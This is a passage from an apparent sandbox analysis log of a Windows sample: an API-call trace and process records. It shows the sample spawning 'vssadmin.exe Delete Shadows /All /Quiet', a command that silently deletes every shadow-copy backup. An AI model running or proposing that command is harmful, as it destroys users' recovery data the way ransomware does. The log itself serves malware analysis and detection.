dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x6a0b6ff388 | out: lpCommandLine="vssadmin.exe Delete Shadows /All /Quiet", lpProcessInformation=0x6a0b6ff388*(hProcess=0x9c, hThread=0x98, dwProcessId=0x2d4, dwThreadId=0xdac)) returned 1 [0061.429] CloseHandle (hObject=0x98) returned 1 [0061.429] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0061.429] GetProcessHeap () returned 0x25447fc0000 [0061.429] RtlFreeHeap (HeapHandle=0x25447fc0000, Flags=0x0, BaseAddress=0x25447fc8540) returned 1 [0061.429] GetEnvironmentStringsW () returned 0x25447fc7a50* [0061.429] GetProcessHeap () returned 0x25447fc0000 [0061.429] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0xacc) returned 0x25447fc8530 [0061.430] FreeEnvironmentStringsA (penv="=") returned 1 [0061.430] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0064.364] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x6a0b6ff308 | out: lpExitCode=0x6a0b6ff308*=0x2) returned 1 [0064.364] CloseHandle (hObject=0x9c) returned 1 [0064.364] _vsnwprintf (in: _Buffer=0x6a0b6ff4d8, _BufferCount=0x13, _Format="%08X", _ArgList=0x6a0b6ff318 | out: _Buffer="00000002") returned 8 [0064.365] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0064.365] GetProcessHeap () returned 0x25447fc0000 [0064.365] RtlFreeHeap (HeapHandle=0x25447fc0000, Flags=0x0, BaseAddress=0x25447fc8530) returned 1 [0064.366] GetEnvironmentStringsW () returned 0x25447fc7a50* [0064.366] GetProcessHeap () returned 0x25447fc0000 [0064.366] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0xaf2) returned 0x25447fd9b80 [0064.366] FreeEnvironmentStringsA (penv="=") returned 1 [0064.366] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0064.366] GetProcessHeap () returned 0x25447fc0000 [0064.366] RtlFreeHeap (HeapHandle=0x25447fc0000, Flags=0x0, BaseAddress=0x25447fd9b80) returned 1 [0064.366] GetEnvironmentStringsW () returned 0x25447fc7a50* [0064.366] GetProcessHeap () returned 0x25447fc0000 [0064.367] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0xaf2) returned 0x25447fd9b80 [0064.367] FreeEnvironmentStringsA (penv="=") returned 1 [0064.367] GetProcessHeap () returned 0x25447fc0000 [0064.367] RtlFreeHeap (HeapHandle=0x25447fc0000, Flags=0x0, BaseAddress=0x25447fc6e20) returned 1 [0064.367] DeleteProcThreadAttributeList (in: lpAttributeList=0x6a0b6ff490 | out: lpAttributeList=0x6a0b6ff490) [0064.367] ??_V@YAXPEAX@Z () returned 0x1 [0064.367] _get_osfhandle (_FileHandle=1) returned 0x50 [0064.367] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1 [0064.372] _get_osfhandle (_FileHandle=1) returned 0x50 [0064.372] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff7d4fffc08 | out: lpMode=0x7ff7d4fffc08) returned 1 [0064.381] _get_osfhandle (_FileHandle=1) returned 0x50 [0064.381] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0064.440] _get_osfhandle (_FileHandle=0) returned 0x4c [0064.440] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff7d4fffc0c | out: lpMode=0x7ff7d4fffc0c) returned 1 [0064.444] _get_osfhandle (_FileHandle=0) returned 0x4c [0064.444] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1 [0064.449] SetConsoleInputExeNameW () returned 0x1 [0064.449] GetConsoleOutputCP () returned 0x1b5 [0064.455] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7d4fffbb0 | out: lpCPInfo=0x7ff7d4fffbb0) returned 1 [0064.455] SetThreadUILanguage (LangId=0x0) returned 0x409 [0064.546] exit (_Code=2) Thread: id = 13 os_tid = 0xff4 Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x55a32000" os_pid = "0xed4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x37c" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 10 os_tid = 0xe84 Thread: id = 11 os_tid = 0x47c Thread: id = 12 os_tid = 0xfc8 Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x85c2000" os_pid = "0x2d4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x37c" cmd_line = "vssadmin.exe Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 14 os_tid = 0xdac Thread: id = 15 os_tid = 0xfb0 Thread: id = 16 os_tid = 0xb0c Thread: id = 17 os_tid = 0xf20 Thread: id = 18 os_tid = 0xf24